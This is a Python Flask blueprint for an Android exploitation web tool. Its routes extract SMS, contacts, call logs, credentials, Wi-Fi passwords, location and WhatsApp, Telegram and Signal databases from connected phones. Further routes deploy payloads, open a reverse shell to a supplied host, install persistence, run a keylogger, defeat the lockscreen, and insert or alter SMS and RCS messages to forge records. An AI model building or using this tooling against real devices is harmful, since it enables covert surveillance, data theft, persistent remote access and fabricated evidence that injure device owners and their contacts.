"""Android Exploitation routes - App extraction, recon, payloads, boot, root.""" import os from flask import Blueprint, render_template, request, jsonify from web.auth import login_required android_exploit_bp = Blueprint('android_exploit', __name__, url_prefix='/android-exploit') def _get_mgr(): from core.android_exploit import get_exploit_manager return get_exploit_manager() def _get_serial(): data = request.get_json(silent=True) or {} serial = data.get('serial', '').strip() if not serial: # Auto-detect if only one device connected devices = _get_mgr().hw.adb_devices() online = [d for d in devices if d.get('state') == 'device'] if len(online) == 1: return online[0]['serial'], None return None, jsonify({'error': 'No device serial provided (and multiple/no devices found)'}) return serial, None @android_exploit_bp.route('/') @login_required def index(): from core.hardware import get_hardware_manager hw = get_hardware_manager() status = hw.get_status() return render_template('android_exploit.html', status=status) # ── App Extraction ──────────────────────────────────────────────── @android_exploit_bp.route('/apps/list', methods=['POST']) @login_required def apps_list(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} include_system = data.get('include_system', False) return jsonify(_get_mgr().list_packages(serial, include_system=include_system)) @android_exploit_bp.route('/apps/pull-apk', methods=['POST']) @login_required def apps_pull_apk(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} package = data.get('package', '').strip() if not package: return jsonify({'error': 'No package provided'}) return jsonify(_get_mgr().pull_apk(serial, package)) @android_exploit_bp.route('/apps/pull-data', methods=['POST']) @login_required def apps_pull_data(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} package = data.get('package', '').strip() if not package: return jsonify({'error': 'No package provided'}) return jsonify(_get_mgr().pull_app_data(serial, package)) @android_exploit_bp.route('/apps/shared-prefs', methods=['POST']) @login_required def apps_shared_prefs(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} package = data.get('package', '').strip() if not package: return jsonify({'error': 'No package provided'}) return jsonify(_get_mgr().extract_shared_prefs(serial, package)) # ── Device Recon ────────────────────────────────────────────────── @android_exploit_bp.route('/recon/device-dump', methods=['POST']) @login_required def recon_device_dump(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().full_device_dump(serial)) @android_exploit_bp.route('/recon/accounts', methods=['POST']) @login_required def recon_accounts(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().get_accounts(serial)) @android_exploit_bp.route('/recon/wifi', methods=['POST']) @login_required def recon_wifi(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().get_wifi_passwords(serial)) @android_exploit_bp.route('/recon/calls', methods=['POST']) @login_required def recon_calls(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} limit = int(data.get('limit', 200)) return jsonify(_get_mgr().extract_call_logs(serial, limit=limit)) @android_exploit_bp.route('/recon/sms', methods=['POST']) @login_required def recon_sms(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} limit = int(data.get('limit', 200)) return jsonify(_get_mgr().extract_sms(serial, limit=limit)) @android_exploit_bp.route('/recon/contacts', methods=['POST']) @login_required def recon_contacts(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().extract_contacts(serial)) @android_exploit_bp.route('/recon/browser', methods=['POST']) @login_required def recon_browser(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().extract_browser_history(serial)) @android_exploit_bp.route('/recon/credentials', methods=['POST']) @login_required def recon_credentials(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().extract_saved_credentials(serial)) @android_exploit_bp.route('/recon/export', methods=['POST']) @login_required def recon_export(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().export_recon_report(serial)) # ── Payload Deployment ──────────────────────────────────────────── @android_exploit_bp.route('/payload/deploy', methods=['POST']) @login_required def payload_deploy(): serial = request.form.get('serial', '').strip() if not serial: return jsonify({'error': 'No serial provided'}) remote_path = request.form.get('remote_path', '/data/local/tmp/').strip() f = request.files.get('file') if not f: return jsonify({'error': 'No file uploaded'}) from core.paths import get_uploads_dir upload_path = str(get_uploads_dir() / f.filename) f.save(upload_path) return jsonify(_get_mgr().deploy_binary(serial, upload_path, remote_path)) @android_exploit_bp.route('/payload/execute', methods=['POST']) @login_required def payload_execute(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} remote_path = data.get('remote_path', '').strip() args = data.get('args', '') background = data.get('background', True) if not remote_path: return jsonify({'error': 'No remote_path provided'}) return jsonify(_get_mgr().execute_payload(serial, remote_path, args=args, background=background)) @android_exploit_bp.route('/payload/reverse-shell', methods=['POST']) @login_required def payload_reverse_shell(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} lhost = data.get('lhost', '').strip() lport = data.get('lport', '') method = data.get('method', 'nc').strip() if not lhost or not lport: return jsonify({'error': 'Missing lhost or lport'}) return jsonify(_get_mgr().setup_reverse_shell(serial, lhost, int(lport), method)) @android_exploit_bp.route('/payload/persistence', methods=['POST']) @login_required def payload_persistence(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} method = data.get('method', 'init.d').strip() return jsonify(_get_mgr().install_persistence(serial, method)) @android_exploit_bp.route('/payload/list', methods=['POST']) @login_required def payload_list(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().list_running_payloads(serial)) @android_exploit_bp.route('/payload/kill', methods=['POST']) @login_required def payload_kill(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} pid = data.get('pid', '').strip() if not pid: return jsonify({'error': 'No PID provided'}) return jsonify(_get_mgr().kill_payload(serial, pid)) # ── Boot / Recovery ─────────────────────────────────────────────── @android_exploit_bp.route('/boot/info', methods=['POST']) @login_required def boot_info(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().get_bootloader_info(serial)) @android_exploit_bp.route('/boot/backup', methods=['POST']) @login_required def boot_backup(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().backup_boot_image(serial)) @android_exploit_bp.route('/boot/unlock', methods=['POST']) @login_required def boot_unlock(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().unlock_bootloader(serial)) @android_exploit_bp.route('/boot/flash-recovery', methods=['POST']) @login_required def boot_flash_recovery(): serial = request.form.get('serial', '').strip() if not serial: return jsonify({'error': 'No serial provided'}) f = request.files.get('file') if not f: return jsonify({'error': 'No file uploaded'}) from core.paths import get_uploads_dir upload_path = str(get_uploads_dir() / f.filename) f.save(upload_path) return jsonify(_get_mgr().flash_recovery(serial, upload_path)) @android_exploit_bp.route('/boot/flash-boot', methods=['POST']) @login_required def boot_flash_boot(): serial = request.form.get('serial', '').strip() if not serial: return jsonify({'error': 'No serial provided'}) f = request.files.get('file') if not f: return jsonify({'error': 'No file uploaded'}) from core.paths import get_uploads_dir upload_path = str(get_uploads_dir() / f.filename) f.save(upload_path) return jsonify(_get_mgr().flash_boot(serial, upload_path)) @android_exploit_bp.route('/boot/disable-verity', methods=['POST']) @login_required def boot_disable_verity(): # Supports both JSON and form upload if request.content_type and 'multipart' in request.content_type: serial = request.form.get('serial', '').strip() f = request.files.get('file') vbmeta = None if f: from core.paths import get_uploads_dir vbmeta = str(get_uploads_dir() / f.filename) f.save(vbmeta) else: data = request.get_json(silent=True) or {} serial = data.get('serial', '').strip() vbmeta = None if not serial: return jsonify({'error': 'No serial provided'}) return jsonify(_get_mgr().disable_verity(serial, vbmeta)) @android_exploit_bp.route('/boot/temp-boot', methods=['POST']) @login_required def boot_temp(): serial = request.form.get('serial', '').strip() if not serial: return jsonify({'error': 'No serial provided'}) f = request.files.get('file') if not f: return jsonify({'error': 'No file uploaded'}) from core.paths import get_uploads_dir upload_path = str(get_uploads_dir() / f.filename) f.save(upload_path) return jsonify(_get_mgr().boot_temp(serial, upload_path)) # ── Root Methods ────────────────────────────────────────────────── @android_exploit_bp.route('/root/check', methods=['POST']) @login_required def root_check(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().check_root(serial)) @android_exploit_bp.route('/root/install-magisk', methods=['POST']) @login_required def root_install_magisk(): serial = request.form.get('serial', '').strip() if not serial: return jsonify({'error': 'No serial provided'}) f = request.files.get('file') if not f: return jsonify({'error': 'No file uploaded'}) from core.paths import get_uploads_dir upload_path = str(get_uploads_dir() / f.filename) f.save(upload_path) return jsonify(_get_mgr().install_magisk(serial, upload_path)) @android_exploit_bp.route('/root/pull-patched', methods=['POST']) @login_required def root_pull_patched(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().pull_patched_boot(serial)) @android_exploit_bp.route('/root/exploit', methods=['POST']) @login_required def root_exploit(): serial = request.form.get('serial', '').strip() if not serial: return jsonify({'error': 'No serial provided'}) f = request.files.get('file') if not f: return jsonify({'error': 'No file uploaded'}) from core.paths import get_uploads_dir upload_path = str(get_uploads_dir() / f.filename) f.save(upload_path) return jsonify(_get_mgr().root_via_exploit(serial, upload_path)) # ── SMS Manipulation ───────────────────────────────────────────── @android_exploit_bp.route('/sms/list', methods=['POST']) @login_required def sms_list(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} limit = int(data.get('limit', 50)) address = data.get('address', '').strip() or None return jsonify(_get_mgr().sms_list(serial, limit=limit, address=address)) @android_exploit_bp.route('/sms/insert', methods=['POST']) @login_required def sms_insert(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} address = data.get('address', '').strip() body = data.get('body', '').strip() if not address or not body: return jsonify({'error': 'Missing address or body'}) return jsonify(_get_mgr().sms_insert( serial, address, body, date_str=data.get('date') or None, time_str=data.get('time') or None, msg_type=data.get('type', 'inbox'), read=data.get('read', True), )) @android_exploit_bp.route('/sms/bulk-insert', methods=['POST']) @login_required def sms_bulk_insert(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} messages = data.get('messages', []) if not messages: return jsonify({'error': 'No messages provided'}) return jsonify(_get_mgr().sms_bulk_insert(serial, messages)) @android_exploit_bp.route('/sms/update', methods=['POST']) @login_required def sms_update(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} sms_id = data.get('id', '').strip() if not sms_id: return jsonify({'error': 'No SMS id provided'}) return jsonify(_get_mgr().sms_update( serial, sms_id, body=data.get('body'), date_str=data.get('date'), time_str=data.get('time'), address=data.get('address'), msg_type=data.get('type'), read=data.get('read'), )) @android_exploit_bp.route('/sms/delete', methods=['POST']) @login_required def sms_delete(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} sms_id = data.get('id', '').strip() if data.get('id') else None address = data.get('address', '').strip() if data.get('address') else None delete_all_from = data.get('delete_all_from', False) return jsonify(_get_mgr().sms_delete(serial, sms_id=sms_id, address=address, delete_all_from=delete_all_from)) @android_exploit_bp.route('/sms/delete-all', methods=['POST']) @login_required def sms_delete_all(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().sms_delete_all(serial)) # ── RCS Spoofing ───────────────────────────────────────────────── @android_exploit_bp.route('/rcs/check', methods=['POST']) @login_required def rcs_check(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().rcs_check_support(serial)) @android_exploit_bp.route('/rcs/list', methods=['POST']) @login_required def rcs_list(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} limit = int(data.get('limit', 50)) return jsonify(_get_mgr().rcs_list(serial, limit=limit)) @android_exploit_bp.route('/rcs/insert', methods=['POST']) @login_required def rcs_insert(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} address = data.get('address', '').strip() body = data.get('body', '').strip() if not address or not body: return jsonify({'error': 'Missing address or body'}) return jsonify(_get_mgr().rcs_insert( serial, address, body, date_str=data.get('date') or None, time_str=data.get('time') or None, sender_name=data.get('sender_name') or None, is_outgoing=data.get('is_outgoing', False), )) @android_exploit_bp.route('/rcs/delete', methods=['POST']) @login_required def rcs_delete(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} msg_id = data.get('id', '') if not msg_id: return jsonify({'error': 'No message id provided'}) return jsonify(_get_mgr().rcs_delete(serial, int(msg_id))) # ── Screen & Input ─────────────────────────────────────────────── @android_exploit_bp.route('/screen/capture', methods=['POST']) @login_required def screen_capture(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().screen_capture(serial)) @android_exploit_bp.route('/screen/record', methods=['POST']) @login_required def screen_record(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} duration = int(data.get('duration', 10)) return jsonify(_get_mgr().screen_record(serial, duration=duration)) @android_exploit_bp.route('/screen/tap', methods=['POST']) @login_required def screen_tap(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} return jsonify(_get_mgr().input_tap(serial, data.get('x', 0), data.get('y', 0))) @android_exploit_bp.route('/screen/swipe', methods=['POST']) @login_required def screen_swipe(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} return jsonify(_get_mgr().input_swipe(serial, data.get('x1',0), data.get('y1',0), data.get('x2',0), data.get('y2',0), int(data.get('duration', 300)))) @android_exploit_bp.route('/screen/text', methods=['POST']) @login_required def screen_text(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} text = data.get('text', '') if not text: return jsonify({'error': 'No text provided'}) return jsonify(_get_mgr().input_text(serial, text)) @android_exploit_bp.route('/screen/key', methods=['POST']) @login_required def screen_key(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} return jsonify(_get_mgr().input_keyevent(serial, data.get('keycode', 3))) @android_exploit_bp.route('/screen/keylogger-start', methods=['POST']) @login_required def keylogger_start(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().start_keylogger(serial)) @android_exploit_bp.route('/screen/keylogger-stop', methods=['POST']) @login_required def keylogger_stop(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().stop_keylogger(serial)) @android_exploit_bp.route('/screen/dismiss-lock', methods=['POST']) @login_required def dismiss_lock(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().dismiss_lockscreen(serial)) @android_exploit_bp.route('/screen/disable-lock', methods=['POST']) @login_required def disable_lock(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().disable_lockscreen(serial)) # ── Advanced: Data ─────────────────────────────────────────────── @android_exploit_bp.route('/adv/clipboard', methods=['POST']) @login_required def adv_clipboard(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().extract_clipboard(serial)) @android_exploit_bp.route('/adv/notifications', methods=['POST']) @login_required def adv_notifications(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().dump_notifications(serial)) @android_exploit_bp.route('/adv/location', methods=['POST']) @login_required def adv_location(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().extract_location(serial)) @android_exploit_bp.route('/adv/media-list', methods=['POST']) @login_required def adv_media_list(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} return jsonify(_get_mgr().extract_media_list(serial, media_type=data.get('type', 'photos'))) @android_exploit_bp.route('/adv/media-pull', methods=['POST']) @login_required def adv_media_pull(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} return jsonify(_get_mgr().pull_media_folder(serial, media_type=data.get('type', 'photos'), limit=int(data.get('limit', 50)))) @android_exploit_bp.route('/adv/whatsapp', methods=['POST']) @login_required def adv_whatsapp(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().extract_whatsapp_db(serial)) @android_exploit_bp.route('/adv/telegram', methods=['POST']) @login_required def adv_telegram(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().extract_telegram_db(serial)) @android_exploit_bp.route('/adv/signal', methods=['POST']) @login_required def adv_signal(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().extract_signal_db(serial)) @android_exploit_bp.route('/adv/fingerprint', methods=['POST']) @login_required def adv_fingerprint(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().get_device_fingerprint(serial)) @android_exploit_bp.route('/adv/settings', methods=['POST']) @login_required def adv_settings(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().dump_all_settings(serial)) # ── Advanced: Network ──────────────────────────────────────────── @android_exploit_bp.route('/adv/network-info', methods=['POST']) @login_required def adv_network_info(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().get_network_info(serial)) @android_exploit_bp.route('/adv/proxy-set', methods=['POST']) @login_required def adv_proxy_set(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} host = data.get('host', '').strip() port = data.get('port', '').strip() if not host or not port: return jsonify({'error': 'Missing host or port'}) return jsonify(_get_mgr().set_proxy(serial, host, port)) @android_exploit_bp.route('/adv/proxy-clear', methods=['POST']) @login_required def adv_proxy_clear(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().clear_proxy(serial)) @android_exploit_bp.route('/adv/wifi-scan', methods=['POST']) @login_required def adv_wifi_scan(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().wifi_scan(serial)) @android_exploit_bp.route('/adv/wifi-connect', methods=['POST']) @login_required def adv_wifi_connect(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} return jsonify(_get_mgr().wifi_connect(serial, data.get('ssid',''), data.get('password',''))) @android_exploit_bp.route('/adv/adb-wifi', methods=['POST']) @login_required def adv_adb_wifi(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} return jsonify(_get_mgr().enable_adb_wifi(serial, int(data.get('port', 5555)))) @android_exploit_bp.route('/adv/capture-traffic', methods=['POST']) @login_required def adv_capture(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} return jsonify(_get_mgr().capture_traffic(serial, interface=data.get('interface', 'any'), duration=int(data.get('duration', 30)), pcap_filter=data.get('filter', ''))) # ── Advanced: System ───────────────────────────────────────────── @android_exploit_bp.route('/adv/selinux', methods=['POST']) @login_required def adv_selinux(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} return jsonify(_get_mgr().set_selinux(serial, data.get('mode', 'permissive'))) @android_exploit_bp.route('/adv/remount', methods=['POST']) @login_required def adv_remount(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().remount_system(serial)) @android_exploit_bp.route('/adv/logcat-sensitive', methods=['POST']) @login_required def adv_logcat(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} return jsonify(_get_mgr().logcat_sensitive(serial, int(data.get('duration', 10)))) @android_exploit_bp.route('/adv/processes', methods=['POST']) @login_required def adv_processes(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().get_running_processes(serial)) @android_exploit_bp.route('/adv/ports', methods=['POST']) @login_required def adv_ports(): serial, err = _get_serial() if err: return err return jsonify(_get_mgr().get_open_ports(serial)) @android_exploit_bp.route('/adv/modify-setting', methods=['POST']) @login_required def adv_modify_setting(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} ns = data.get('namespace', '').strip() key = data.get('key', '').strip() value = data.get('value', '').strip() if not ns or not key: return jsonify({'error': 'Missing namespace or key'}) return jsonify(_get_mgr().modify_setting(serial, ns, key, value)) @android_exploit_bp.route('/adv/app-disable', methods=['POST']) @login_required def adv_app_disable(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} package = data.get('package', '').strip() if not package: return jsonify({'error': 'No package provided'}) return jsonify(_get_mgr().disable_app(serial, package)) @android_exploit_bp.route('/adv/app-enable', methods=['POST']) @login_required def adv_app_enable(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} package = data.get('package', '').strip() if not package: return jsonify({'error': 'No package provided'}) return jsonify(_get_mgr().enable_app(serial, package)) @android_exploit_bp.route('/adv/app-clear', methods=['POST']) @login_required def adv_app_clear(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} package = data.get('package', '').strip() if not package: return jsonify({'error': 'No package provided'}) return jsonify(_get_mgr().clear_app_data(serial, package)) @android_exploit_bp.route('/adv/app-launch', methods=['POST']) @login_required def adv_app_launch(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} package = data.get('package', '').strip() if not package: return jsonify({'error': 'No package provided'}) return jsonify(_get_mgr().launch_app(serial, package)) @android_exploit_bp.route('/adv/content-query', methods=['POST']) @login_required def adv_content_query(): serial, err = _get_serial() if err: return err data = request.get_json(silent=True) or {} uri = data.get('uri', '').strip() if not uri: return jsonify({'error': 'No URI provided'}) return jsonify(_get_mgr().content_query(serial, uri, projection=data.get('projection', ''), where=data.get('where', ''))) # ── WebUSB Direct Mode: Command Relay ──────────────────────────────── @android_exploit_bp.route('/cmd', methods=['POST']) @login_required def get_direct_commands(): """Return ADB shell command(s) for an operation without executing them. Used by WebUSB Direct mode: browser executes via HWDirect.adbShell(). Returns one of: {commands: ['cmd1', 'cmd2', ...]} — shell operations {pullPath: '/device/path'} — file pull operations {error: 'message'} — unsupported operation """ data = request.get_json(silent=True) or {} op = data.get('op', '') params = data.get('params', {}) result = _get_mgr().get_commands_for_op(op, params) return jsonify(result) @android_exploit_bp.route('/parse', methods=['POST']) @login_required def parse_direct_output(): """Parse raw ADB shell output from WebUSB Direct mode execution. Takes the raw text output and returns the same structured JSON that the normal server-mode endpoint would return. """ data = request.get_json(silent=True) or {} op = data.get('op', '') params = data.get('params', {}) raw = data.get('raw', '') result = _get_mgr().parse_op_output(op, params, raw) return jsonify(result)